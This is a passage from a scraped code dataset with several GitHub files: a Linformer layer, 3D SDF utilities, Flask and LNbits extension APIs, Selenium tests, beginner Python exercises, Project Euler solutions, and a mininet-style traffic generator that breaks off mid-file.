0, 3, 1, 4) #(qkv, B, heads, N, dim)\n Q, K, V = qkv[0], qkv[1], qkv[2]\n Q /= self.scale\n\n K = torch.matmul(self.E, K)\n V = torch.matmul(self.E, V)\n\n dot = torch.matmul(Q, torch.transpose(K, -2, -1))\n dot = dot / math.sqrt(self.head_dim)\n\n attn = nn.functional.softmax(dot, dim = -1)\n\n x = torch.matmul(attn, V)\n x = x.transpose(1, 2).reshape(B, N, self.in_dim)\n x = self.proj(x)\n x = self.proj_drop(x)\n\n return x\n\nclass LinformerEncodeLayer(nn.Module):\n def __init__(self, seq_len, channels, head_count, linformer_k, dim_feedforward=64, dropout=0.1):\n super().__init__()\n self.head_count = head_count\n\n self.linear1 = nn.Linear(channels, dim_feedforward)\n self.dropout = nn.Dropout(dropout)\n self.linear2 = nn.Linear(dim_feedforward, channels)\n\n # self.norm_first = norm_first\n self.norm1 = nn.LayerNorm(channels)\n self.norm2 = nn.LayerNorm(channels)\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n self.activation = nn.GELU()\n\n self.sa_block = LinformerAttention(\n seq_len=seq_len,\n in_dim=channels,\n num_heads=head_count,\n linformer_k=linformer_k\n )\n\n def forward(self, input_):\n x = input_\n x = self.norm1(self.sa_block(x.permute(0,2,1))) #(B,channel,L)->(B,L,channel)\n x = self.norm2(x + self._ff_block(x)).permute(0,2,1) #(B,L,channel)->(B,channel,L)\n return x\n\n def _ff_block(self, x):\n x = self.linear2(self.dropout(self.activation(self.linear1(x))))\n return self.dropout2(x)\n","repo_name":"ryu1ro/CSDI_forecast","sub_path":"transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":11350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"1620212733","text":"import numpy as np, cv2\nfrom scipy.ndimage import convolve\nfrom skimage.morphology import erosion, disk\n\ndef transfer_uv_to_world(verts,origin_calib):\n if origin_calib == None:\n return verts,False\n mat = origin_calib.detach().numpy()\n inv_mat = np.linalg.inv(mat)\n homo_verts = np.concatenate([verts,np.ones((verts.shape[0],1))],axis=1)\n ori_verts = np.matmul(inv_mat,homo_verts.T).T\n return ori_verts[...,:3],True\n\n\ndef make_bump_kernel(kernel_size):\n half_size = kernel_size//2\n ori_size = kernel_size\n kernel_size = half_size*2 +1\n\n if kernel_size!=ori_size:\n print(\"warning: kenerl size was adjusted from %d to %d\" % (ori_size, kernel_size))\n\n channel_0 = [[half_size-x for x in range(kernel_size)]]*kernel_size\n channel_1 = [[half_size-x]*kernel_size for x in range(kernel_size)]\n channel_2 = [[0]*kernel_size]*kernel_size\n\n kernel = np.stack((channel_2, channel_1, channel_0), axis = 2)\n \n kernel[kernel<0] = -1\n kernel[kernel>0] = 1\n \n return kernel.astype(np.float32)\n\n\ndef sdf_conv(sdf, kernel_size):\n conv_kernel = np.ones((kernel_size, kernel_size, kernel_size), dtype=np.float32)\n conv_kernel = conv_kernel / np.sum(conv_kernel)\n sdf = convolve(input = sdf, weights = conv_kernel, mode = 'nearest')\n return sdf\n\ndef clean_sdf_edge(sdf, vol_size = 256, edge_ratio=0.02, edge_dist=0.04):\n edge_size = round(vol_size*edge_ratio)\n sdf[:edge_size,:,:], sdf[-edge_size:,:,:] = edge_dist, edge_dist\n sdf[:,:edge_size,:], sdf[:,-edge_size:,:] = edge_dist, edge_dist\n sdf[:,:,:edge_size], sdf[:,:,-edge_size:] = edge_dist, edge_dist\n\n return sdf\n\n# clean background and cloth\ndef clean_sdf_bg(sdf, src_sem_mask, vol_size = 256, erode_ratio = 0.05, edge_dist = 1, only_face = True):\n if only_face is True:\n sem2sdfmask_dict = np.array([1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1])\n else:\n sem2sdfmask_dict = np.array([1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1])\n \n clean_mask = sem2sdfmask_dict[src_sem_mask]\n clean_mask = cv2.resize(clean_mask, (vol_size, vol_size), interpolation = cv2.INTER_NEAREST)\n \n kernel = np.ones(tuple(np.round((np.array(clean_mask.shape)*erode_ratio)).astype(np.int)),np.uint8)\n clean_mask = cv2.erode(clean_mask.astype(np.uint8), kernel, iterations = 1)\n \n clean_volume = np.stack((clean_mask,)*vol_size)\n clean_volume = np.roll(np.flip(clean_volume.transpose((2, 1, 0)), axis = 1), 1, axis = 1)\n \n sdf[clean_volume>0] = edge_dist\n return sdf\n\n\ndef norm_carve(sdf, src_sem_mask, norm_front, norm_back, conv_radius = 7, norm_size = 512, carve_sc = 0.0005):\n\n sem2cleanmask_dict = np.array([1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1])\n \n norm_front = (norm_front.astype(np.float32)-128)/128\n norm_back = (norm_back.astype(np.float32)-128)/128\n\n kernel = make_bump_kernel(conv_radius)\n\n disp_front = convolve(norm_front[:,:,0], weights=kernel[:,:,0], mode='nearest') + \\\n convolve(norm_front[:,:,1], weights=kernel[:,:,1], mode='nearest') + \\\n convolve(norm_front[:,:,2], weights=kernel[:,:,2], mode='nearest')\n disp_back = convolve(norm_back[:,:,0], weights=kernel[:,:,0], mode='nearest') + \\\n convolve(norm_back[:,:,1], weights=kernel[:,:,1], mode='nearest') + \\\n convolve(norm_back[:,:,2], weights=kernel[:,:,2], mode='nearest')\n \n clean_mask = sem2cleanmask_dict[src_sem_mask]\n clean_mask = cv2.resize(clean_mask, (norm_size, norm_size), interpolation = cv2.INTER_NEAREST)\n \n norm_mask = erosion((-clean_mask+1).astype(np.float32), footprint = disk(conv_radius))\n norm_mask = convolve(norm_mask, weights=disk(conv_radius)/np.sum(disk(conv_radius)), mode='nearest')\n \n disp_front *= norm_mask\n disp_back *= norm_mask\n \n disp_front_reisze = (disp_front[::2,::2] + disp_front[1::2,1::2])/2\n disp_cube_front = np.stack([np.flip(disp_front_reisze.T, axis = 1)]*256, axis = 2)\n sdf[:,:,128:] = sdf[:,:,128:] - disp_cube_front[:,:,128:]*carve_sc\n\n disp_back_reisze = (disp_back[::2,::2] + disp_back[1::2,1::2])/2\n disp_cube_front = np.stack([np.flip(disp_back_reisze.T, axis = 1)]*256, axis = 2)\n sdf[:,:,:128] = sdf[:,:,:128] + disp_cube_front[:,:,:128]*carve_sc\n\n return sdf\n","repo_name":"zhuhao-nju/rafare","sub_path":"engineer/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4337,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"61"}
+{"seq_id":"39152983931","text":"from flask import Blueprint, render_template, request\n\nfrom user_login_system.models import User\n\nmain = Blueprint('main', __name__)\n\n\n# This is the home route\n@main.route('/')\n@main.route('/home')\ndef home():\n return render_template(\"home.html\")\n\n\n# This is the route to about page with all the users info i.e. non-deleted but approved and unapproved both\n@main.route('/about')\ndef about():\n page = request.args.get('page', 1, type=int)\n users = User.query.filter(User.username != 'admin').paginate(per_page=5, page=page)\n admins = User.query.filter(User.username == 'admin')\n return render_template(\"about.html\", title='About', users=users, admins=admins)\n","repo_name":"rathiinitesh/user_login_system","sub_path":"user_login_system/main/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"15077717902","text":"from http import HTTPStatus\n\nimport httpx\nfrom fastapi import Depends, Query\nfrom lnurl import decode as decode_lnurl\nfrom loguru import logger\nfrom starlette.exceptions import HTTPException\n\nfrom lnbits.core.crud import get_latest_payments_by_extension, get_user\nfrom lnbits.core.models import Payment\nfrom lnbits.core.services import create_invoice\nfrom lnbits.core.views.api import api_payment\nfrom lnbits.decorators import (\n WalletTypeInfo,\n check_admin,\n get_key_type,\n require_admin_key,\n)\nfrom lnbits.settings import settings\nfrom lnbits.utils.exchange_rates import get_fiat_rate_satoshis\n\nfrom . import scheduled_tasks, localbitcoins_ext\nfrom .crud import create_localbitcoins, delete_localbitcoins, get_localbitcoins, get_localbitcoinss\nfrom .models import CreateLocalBitcoinsData, PayLnurlWData\n\n\n@localbitcoins_ext.get(\"/api/v1/localbitcoinss\", status_code=HTTPStatus.OK)\nasync def api_localbitcoinss(\n all_wallets: bool = Query(False), wallet: WalletTypeInfo = Depends(get_key_type)\n):\n wallet_ids = [wallet.wallet.id]\n if all_wallets:\n user = await get_user(wallet.wallet.user)\n wallet_ids = user.wallet_ids if user else []\n\n return [localbitcoins.dict() for localbitcoins in await get_localbitcoinss(wallet_ids)]\n\n\n@localbitcoins_ext.post(\"/api/v1/localbitcoinss\", status_code=HTTPStatus.CREATED)\nasync def api_localbitcoins_create(\n data: CreateLocalBitcoinsData, wallet: WalletTypeInfo = Depends(get_key_type)\n):\n localbitcoins = await create_localbitcoins(wallet_id=wallet.wallet.id, data=data)\n return localbitcoins.dict()\n\n\n@localbitcoins_ext.delete(\"/api/v1/localbitcoinss/{localbitcoins_id}\")\nasync def api_localbitcoins_delete(\n localbitcoins_id: str, wallet: WalletTypeInfo = Depends(require_admin_key)\n):\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n\n if localbitcoins.wallet != wallet.wallet.id:\n raise HTTPException(status_code=HTTPStatus.FORBIDDEN, detail=\"Not your LocalBitcoins.\")\n\n await delete_localbitcoins(localbitcoins_id)\n return \"\", HTTPStatus.NO_CONTENT\n\n\n@localbitcoins_ext.post(\"/api/v1/localbitcoinss/{localbitcoins_id}/invoices\", status_code=HTTPStatus.CREATED)\nasync def api_localbitcoins_create_invoice(\n localbitcoins_id: str, amount: int = Query(..., ge=1), memo: str = \"\", tipAmount: int = 0\n) -> dict:\n\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n\n if tipAmount > 0:\n amount += tipAmount\n\n try:\n payment_hash, payment_request = await create_invoice(\n wallet_id=localbitcoins.wallet,\n amount=amount,\n memo=f\"{memo} to {localbitcoins.name}\" if memo else f\"{localbitcoins.name}\",\n extra={\n \"tag\": \"localbitcoins\",\n \"tipAmount\": tipAmount,\n \"localbitcoinsId\": localbitcoins_id,\n \"amount\": amount - tipAmount if tipAmount else False,\n },\n )\n except Exception as e:\n raise HTTPException(status_code=HTTPStatus.INTERNAL_SERVER_ERROR, detail=str(e))\n\n return {\"payment_hash\": payment_hash, \"payment_request\": payment_request}\n\n\n@localbitcoins_ext.get(\"/api/v1/localbitcoinss/{localbitcoins_id}/invoices\")\nasync def api_localbitcoins_get_latest_invoices(localbitcoins_id: str):\n try:\n payments = [\n Payment.from_row(row)\n for row in await get_latest_payments_by_extension(\n ext_name=\"localbitcoins\", ext_id=localbitcoins_id\n )\n ]\n\n except Exception as e:\n raise HTTPException(status_code=HTTPStatus.INTERNAL_SERVER_ERROR, detail=str(e))\n\n return [\n {\n \"checking_id\": payment.checking_id,\n \"amount\": payment.amount,\n \"time\": payment.time,\n \"pending\": payment.pending,\n }\n for payment in payments\n ]\n\n\n@localbitcoins_ext.post(\n \"/api/v1/localbitcoinss/{localbitcoins_id}/invoices/{payment_request}/pay\", status_code=HTTPStatus.OK\n)\nasync def api_localbitcoins_pay_invoice(\n lnurl_data: PayLnurlWData, payment_request: str, localbitcoins_id: str\n):\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n\n lnurl = (\n lnurl_data.lnurl.replace(\"lnurlw://\", \"\")\n .replace(\"lightning://\", \"\")\n .replace(\"LIGHTNING://\", \"\")\n .replace(\"lightning:\", \"\")\n .replace(\"LIGHTNING:\", \"\")\n )\n\n if lnurl.lower().startswith(\"lnurl\"):\n lnurl = decode_lnurl(lnurl)\n else:\n lnurl = \"https://\" + lnurl\n\n async with httpx.AsyncClient() as client:\n try:\n headers = {\"user-agent\": f\"lnbits/localbitcoins commit {settings.lnbits_commit[:7]}\"}\n r = await client.get(lnurl, follow_redirects=True, headers=headers)\n if r.is_error:\n lnurl_response = {\"success\": False, \"detail\": \"Error loading\"}\n else:\n resp = r.json()\n if resp[\"tag\"] != \"withdrawRequest\":\n lnurl_response = {\"success\": False, \"detail\": \"Wrong tag type\"}\n else:\n r2 = await client.get(\n resp[\"callback\"],\n follow_redirects=True,\n headers=headers,\n params={\n \"k1\": resp[\"k1\"],\n \"pr\": payment_request,\n },\n )\n resp2 = r2.json()\n if r2.is_error:\n lnurl_response = {\n \"success\": False,\n \"detail\": \"Error loading callback\",\n }\n elif resp2[\"status\"] == \"ERROR\":\n lnurl_response = {\"success\": False, \"detail\": resp2[\"reason\"]}\n else:\n lnurl_response = {\"success\": True, \"detail\": resp2}\n except (httpx.ConnectError, httpx.RequestError):\n lnurl_response = {\"success\": False, \"detail\": \"Unexpected error occurred\"}\n\n return lnurl_response\n\n\n@localbitcoins_ext.get(\n \"/api/v1/localbitcoinss/{localbitcoins_id}/invoices/{payment_hash}\", status_code=HTTPStatus.OK\n)\nasync def api_localbitcoins_check_invoice(localbitcoins_id: str, payment_hash: str):\n localbitcoins = await get_localbitcoins(localbitcoins_id)\n if not localbitcoins:\n raise HTTPException(\n status_code=HTTPStatus.NOT_FOUND, detail=\"LocalBitcoins does not exist.\"\n )\n try:\n status = await api_payment(payment_hash)\n\n except Exception as exc:\n logger.error(exc)\n return {\"paid\": False}\n return status\n\n\n@localbitcoins_ext.delete(\n \"/api/v1\",\n status_code=HTTPStatus.OK,\n dependencies=[Depends(check_admin)],\n description=\"Stop the extension.\",\n)\nasync def api_stop():\n for t in scheduled_tasks:\n try:\n t.cancel()\n except Exception as ex:\n logger.warning(ex)\n\n return {\"success\": True}\n\n@localbitcoins_ext.get(\"/api/v1/rate/{currency}\", status_code=HTTPStatus.OK)\nasync def api_check_fiat_rate(currency):\n try:\n rate = await get_fiat_rate_satoshis(currency)\n except AssertionError:\n rate = None\n\n return {\"rate\": rate}","repo_name":"bmewj/nostr-localbitcoins","sub_path":"views_api.py","file_name":"views_api.py","file_ext":"py","file_size_in_byte":7701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"33990163713","text":"#1. Поработайте с переменными, создайте несколько, выведите на экран.\n# Запросите у пользователя некоторые числа и строки и сохраните в переменные, затем выведите на экран.\n\nnumber = 1\nstroka = \"ABC\"\nprint(number)\nprint(stroka)\nnumber = input(\"введите число:\")\nstroka = input(\"введите текст:\")\nprint(f\"введенное число: {number}, введенный текст: {stroka}\")\n\n#2. Пользователь вводит время в секундах. Переведите время в часы, минуты, секунды и выведите в формате чч:мм:сс.\n# Используйте форматирование строк.\n\nt = int(input(\"введите время в секундах:\"))\nsec = t % 60\nmin = (t % 3600) // 60\nhour = t // 3600\nprint(f\"{hour}:{min}:{sec}\")\n\n#3. Узнайте у пользователя число n. Найдите сумму чисел n + nn + nnn.\n# Например, пользователь ввёл число 3.\n# Считаем 3 + 33 + 333 = 369.\n\nn = input(\"введите число n:\")\nsum = int(n) + int(f\"{n}{n}\") + int(f\"{n}{n}{n}\")\nprint(sum)\n\n#4. Пользователь вводит целое положительное число. Найдите самую большую цифру в числе.\n# Для решения используйте цикл while и арифметические операции.\n\ng = input(\"введите целое положительное число: \")\nmaxn = g[0]\ni = 0\nwhile i < len(g):\n if g[i] > maxn: maxn = g[i]\n i += 1\nprint(maxn)\n\n# 5. Запросите у пользователя значения выручки и издержек фирмы.\n# Определите, с каким финансовым результатом работает фирма. Например, прибыль — выручка больше издержек,\n# или убыток — издержки больше выручки.\n# Выведите соответствующее сообщение.\n\nv = int(input(\"введите выручку: \"))\niz = int(input(\"введите издержки: \"))\nif v > iz:\n print(\"прибыль\")\nelse:\n print(\"убыток\")\n\n# 6. Если фирма отработала с прибылью, вычислите рентабельность выручки. Это отношение прибыли к выручке.\n# Далее запросите численность сотрудников фирмы и определите прибыль фирмы в расчёте на одного сотрудника.\n\nv = int(input(\"введите выручку: \"))\niz = int(input(\"введите издержки: \"))\nif v > iz:\n print(\"прибыль\")\n print(\"рентабельность: \" + str((v - iz) / v))\n cs = int(input(\"введите количество сотрудников: \"))\n print(str((v - iz) / cs))\nelse:\n print(\"убыток\")\n\n# 7 (Дополнительно). Спортсмен занимается ежедневными пробежками. В первый день его результат составил a километров.\n# Каждый день спортсмен увеличивал результат на 10% относительно предыдущего.\n# Требуется определить номер дня, на который результат спортсмена составит не менее b километров.\n# Программа должна принимать значения параметров a и b и выводить одно натуральное число — номер дня.\n\na = int(input(\"результат а: \"))\nb = int(input(\"результат b: \"))\nkm = a\nday = 1\nwhile km < b:\n km *= 1.1\n day += 1\nprint(day)\n","repo_name":"nadejdasopilova/Python","sub_path":"lesson1.py","file_name":"lesson1.py","file_ext":"py","file_size_in_byte":3966,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71025009474","text":"from selenium.webdriver.common.by import By\nfrom selenium import webdriver\nfrom selenium.webdriver.edge.options import Options\nfrom selenium.webdriver.edge.service import Service\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom server import get_competition_club\n\n\ndef get_number(s):\n number = s.split(': ')[1]\n return int(number)\n\n\ndef book_places(competition_name, club_name, nb_of_places, status, msg):\n options = Options()\n options.add_argument(\"headless\")\n\n service = Service(verbose=True)\n driver = webdriver.Edge(service=service, options=options, )\n\n driver.get('http://127.0.0.1:5000')\n result = True\n\n try:\n competition, club = get_competition_club(competition_name, club_name)\n\n link_id = f\"id_{competition['name'].replace(' ', '_')}\"\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"booking_manager\"))\n element.click()\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"email\"))\n element.send_keys(club['email'])\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"show_summary\"))\n element.click()\n\n id_number_of_places = f\"id_{competition['name'].replace(' ', '_')}_numberOfPlaces\"\n id_booked = f\"id_{competition['name'].replace(' ', '_')}_booked\"\n\n points_available_before = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"id_points\")).text\n number_of_places_before = WebDriverWait(driver, 10).until(\n lambda x: x.find_element(By.ID, id_number_of_places)).text\n booked_before = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, id_booked)).text\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, link_id))\n element.click()\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"places\"))\n element.send_keys(nb_of_places)\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"booking\"))\n element.click()\n\n points_available_after = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"id_points\")).text\n number_of_places_after = WebDriverWait(driver, 10).until(\n lambda x: x.find_element(By.ID, id_number_of_places)).text\n booked_after = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, id_booked)).text\n status_msg = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, status)).text\n\n element = WebDriverWait(driver, 10).until(lambda x: x.find_element(By.ID, \"logout\"))\n element.click()\n\n driver.quit()\n\n if status_msg == 'Success : Booking complete!':\n assert get_number(points_available_after) == get_number(points_available_before) - (3 * int(nb_of_places))\n assert get_number(number_of_places_after) == get_number(number_of_places_before) - int(nb_of_places)\n assert get_number(booked_after) == get_number(booked_before) + int(nb_of_places)\n elif status_msg == msg:\n assert get_number(points_available_after) == get_number(points_available_before)\n assert get_number(number_of_places_after) == get_number(number_of_places_before)\n assert get_number(booked_after) == get_number(booked_before)\n else:\n result = False\n\n return result\n\n except Exception as e:\n print(e)\n return False\n\n\ndef test_normal_booking_1st_club():\n result = book_places('Spring Festival', 'Simply Lift', '1', 'success', 'Success : Booking complete!')\n assert result\n\n\ndef test_normal_booking_2nd_club():\n result = book_places('Spring Festival', 'Iron Temple', '1', 'success', 'Success : Booking complete!')\n assert result\n\n\ndef test_wrong_booking_more_than_12_places():\n result = book_places('Spring Festival', 'Simply Lift', '12', 'error',\n 'Error : No more than 12 places can be purchased.')\n assert result\n\n\ndef test_wrong_booking_negative_number_of_places():\n result = book_places('Spring Festival', 'Simply Lift', '-10', 'error',\n 'Error : Required number of places should be at least 1')\n assert result\n\n\ndef test_normal_booking_2_places():\n result = book_places('Fall Classic', 'Simply Lift', '2', 'success', 'Success : Booking complete!')\n assert result\n\n\ndef test_exception_wrong_msg():\n result = book_places('Fall Classic', 'Simply Lift', '-1', 'error', 'error : Wrong message')\n assert not result\n\n\ndef test_exception_unknown_competition():\n result = book_places('Dummy Festival', 'Dumb club', '', 'error',\n 'list index out of range')\n assert not result\n","repo_name":"jsoques1/Python_Testing","sub_path":"tests/functional/test_gudflt_with_selenium.py","file_name":"test_gudflt_with_selenium.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"33491365019","text":"from timeit import default_timer # Timer to keep track of runtime for each function\n\n\n# ===========================================================\n# PROBLEM 1 -- Multiples of 3 and 5\n# ===========================================================\n#\n# If we list all the natural numbers below 10 that are\n# multiples of 3 or 5, we get 3, 5, 6, and 9. The sum of\n# these multiples is 23.\n#\n# Find the sum of all multiples of 3 or 5 below 1000\n#\n# ===========================================================\n\n# Method A: 1000 iterations\n# Description:\n# iterate through all integers 0-999, and add it to the sum\n# if it is divisible by three or five\n# Note:\n# Only calculation is timed, not result output\ndef problem_1_method_a( maximum=1000 ):\n # Print Problem Context\n print( \"Project Euler Problem 1 -- Method 1 (1000 Iterations)\" )\n\n # Prepare Variables\n start_time = default_timer( ) # Timer Start\n result = 0 # Result\n\n # Iterate\n for x in range( maximum ):\n # Conditions: 3 or 5 evenly divide the number\n if x % 3 is 0 or x % 5 is 0:\n result += x\n\n # Compute Runtime\n end_time = default_timer( ) # Timer End\n execution_time = ( end_time - start_time ) * 1000 # Total Execution Time\n\n # Output the Result and the Time to calculate result\n print( \" Sum of all multiples of 3 or 5 below 1000: %d\" % result )\n print( \" Calculation Time: %.3fms\\n\" % execution_time )\n return\n\n\n\n# Method B: 598 iterations\n# Description:\n# 1. iterate through all multiples of 3 <1000 and add to result\n# 2. iterate through all multiples of 5 <1000 and add to result\n# 3. the LCM of 3 and 5 is 15, so exclude multiples of 15 in\n# step 2 (to prevent double-counting those values)\n# Note:\n# Only calculation is timed, not result output\ndef problem_1_method_b( maximum=1000 ):\n # Print Problem Context (unnecessary)\n print( \"Project Euler Problem 1 -- Method 2 (598 Iterations)\" )\n\n # Prepare Variables\n start_time = default_timer( )\n result = 0\n\n # Sum the multiples of 3\n for x in range( 3 , maximum , 3 ):\n result += x\n\n # Sum the multiples of 5\n for x in range( 5 , maximum , 5 ):\n # Exclude the LCM (already appeared in multiples of 3)\n if x % 15 == 0:\n continue\n result += x\n\n # Compute Runtime\n end_time = default_timer( ) # Timer End\n execution_time = ( end_time - start_time ) * 1000 # Total Execution Time\n\n # Output the Result and the Time to calculate result\n print( \" Sum of all multiples of 3 or 5 below 1000: %d\" % result )\n print( \" Calculation Time: %.3fms\\n\" % execution_time )\n return\n\n\n\n# Use of generator instead of looping\ndef problem_1_method_c( maximum=1000 ):\n # Print Problem Context (unnecessary)\n print(\"Project Euler Problem 1 -- Method 3 (Generator Function)\")\n\n # Prepare Variables\n start_time = default_timer( )\n result = sum( [ x for x in range( 1 , maximum )\n if x % 3 == 0\n or x % 5 == 0 ] )\n\n # Compute Runtime\n end_time = default_timer( ) # Timer End\n execution_time = ( end_time - start_time ) * 1000 # Total Execution Time\n\n print( \" Sum of all multiples of 3 or 5 below 1000: %d\" % result )\n print( \" Calculation Time: %.3fms\\n\" % execution_time )\n return\n\n\n\ndef main( ):\n problem_1_method_a( )\n problem_1_method_b( )\n problem_1_method_c( )\n\n\n\nif __name__ == '__main__':\n main( )\n","repo_name":"drake-young/Euler1_Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"42693018487","text":"#!/usr/bin/env python3\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom http.client import HTTPConnection\nfrom multiprocessing import Process, Manager\n\nimport argparse\nimport logging\nimport os\nimport queue\nimport random\nimport sys\nimport threading\nimport time\n\nfrom parse_input import parse_inits, path_to_map\n\n\nhost_num = 0\nposted = 0\nspamed = 0\nq = queue.Queue()\n\n#def get_handler(paths, h):\nclass MyHandler(BaseHTTPRequestHandler):\n global host_num\n host_num = host_num\n\n #def get_paths(self):\n # return paths\n\n def do_GET(self):\n global host_num\n print(\"GET\")\n self.send_response(200)\n self.send_header('Content-type', 'text-html')\n self.send_header(\"host\", str(host_num))\n self.end_headers()\n\n def do_POST(self):\n global host_num\n #paths = self.get_paths()\n self.send_response(200)\n self.end_headers()\n content_len = int(self.headers.get('Content-Length'))\n post_body = self.rfile.read(content_len)\n #logging.info(\"in POST: %s\", post_body)\n self.wfile.write(\"ok {}\".format(post_body).encode('utf-8'))\n\n str_path = self.headers[\"path\"]\n path = path_to_map(str_path)[0]\n #print(path)\n #random.shuffle(paths)\n #path = paths[flow_id]\n dst = 0\n for k in path:\n sr, me = k.split(\"/\")\n if sr == self.headers[\"src\"] and me == str(host_num):\n dst = path[k]\n break\n\n logging.debug(\"host_num=%d, dst=%d\", host_num, dst)\n if host_num==dst or dst == 0:\n return\n q.put({\"body\": post_body, \"dst\": dst, \"path\": str_path})\n\n\ndef post_mes(dst, host_num, body, path):\n logging.debug(\"about to start connection 10.0.0.{}\".format(dst))\n conn = HTTPConnection(\"10.0.0.{}\".format(dst), 8000)\n #conn.set_debuglevel(1)\n logging.debug(\"posting to 10.0.0.{}\".format(dst))\n logging.debug(\"host_num=%d, dst=%d\", host_num, dst)\n logging.debug(path)\n conn.request(\"POST\", \"\", body=body, headers={\"src\": host_num, \"dst\": dst, \"path\": path})\n response = conn.getresponse()\n logging.debug(\"STATUS: %s, REASON: %s\", response.status, response.reason)\n logging.debug(\"about to CLOSE connection 10.0.0.{}\".format(dst))\n conn.close()\n\n\ndef map_to_path(path, src, dst):\n str_path = ''\n key = str(src) + \"/\" + str(dst)\n start_key = key\n str_path = key\n while key in path:\n src = dst\n dst = path[key]\n str_path += \"/\" + str(dst)\n key = str(src) + \"/\" + str(dst)\n if key == start_key:\n break\n return str_path\n\n\ndef get_dst(path, src):\n for key in path.keys():\n f, s = key.split(\"/\")\n if int(f) == src:\n return int(s)\n return 0\n\n\ndef spam(dst, tickrate, start, lifetime, flow_id, paths, cv):\n global host_num, spamed\n cv.acquire()\n cv.wait(start)\n cv.release()\n start_time = time.time()\n #print(\"DEBUG\", dst, paths[flow_id], paths, flow_id)\n if paths[flow_id] != {} and str(host_num) + '/' + str(dst) not in paths[flow_id]:\n dst = get_dst(paths[flow_id], host_num)\n #print(\"DEBUG\", dst, paths[flow_id])\n path = map_to_path(paths[flow_id], host_num, dst)\n while True:\n try:\n #print(paths, flow_id)\n post_mes(dst, host_num, \"test\"*1024*1024, path)\n spamed += 1\n cur_time = time.time()\n logging.debug(\"%s %d %d %d\" % (path, lifetime, start_time, cur_time))\n if cur_time - start_time >= lifetime:\n logging.info(\"%d - %d: stopped\" % (host_num, dst))\n return\n except:\n logging.error(\"err src %d dst %d path %s: %s\", host_num, dst, path, sys.exc_info())\n cv.acquire()\n cv.wait(tickrate)\n cv.release()\n\n\ndef poster():\n global host_num, posted\n while True:\n post = q.get()\n try:\n post_mes(post[\"dst\"], host_num, post[\"body\"], post[\"path\"])\n q.task_done()\n posted += 1\n except:\n logging.error(\"err: %s\", sys.exc_info())\n q.task_done()\n\n\ndef get_my_addr():\n stream = os.popen(\"ifconfig | grep -o -e '10\\.0\\.0\\.[0-9]*'\")\n res = stream.read()\n if res == '':\n return '0'\n return res\n\n\ndef get_path_init(flows):\n paths = list()\n inits = dict()\n i = 0\n for flow in flows:\n path_with_start, tickrate, start, lifetime = flow[0], flow[1], flow[2], flow[3]\n paths.append(path_with_start[0])\n if path_with_start[1][0] not in inits:\n inits[path_with_start[1][0]] = list()\n inits[path_with_start[1][0]].append((path_with_start[1][1], tickrate, start, lifetime, i))\n i += 1\n return paths, inits\n\n\ndef fill_custom_paths_once(paths, flow_table='flow_table'):\n res = list()\n with open(flow_table, \"r\") as f:\n i = 0\n for line in f:\n new_path = path_to_map(line)[0]\n logging.debug(new_path)\n map_path = paths[i]\n for key, val in new_path.items():\n map_path[key] = val\n res.append(map_path)\n i += 1\n if len(res) > 0:\n paths = res\n\ndef fill_custom_paths(paths, cv, flow_table='flow_table'):\n while True:\n cv.acquire()\n cv.wait(15)\n cv.release()\n fill_custom_paths_once(paths, flow_table)\n\n\ndef unpack(init, paths, cv):\n return (init[0], init[1], init[2], init[3], init[4], paths, cv)\n\n\ndef run(server_class=HTTPServer, handler_class=MyHandler, flows_path=\"flows\", use_path_alg=False):\n global host_num, posted, spamed\n host_num = int(get_my_addr().split('.')[-1])\n logging.debug(\"%s\", get_my_addr())\n paths, inits = get_path_init(parse_inits(flows_path))\n lock = threading.Lock()\n cv = threading.Condition(lock)\n #TODO: move this part to thread?\n if use_path_alg:\n fill_custom_paths_once(paths)\n threading.Thread(target=fill_custom_paths, daemon=True, args=(paths, cv)).start()\n #paths = 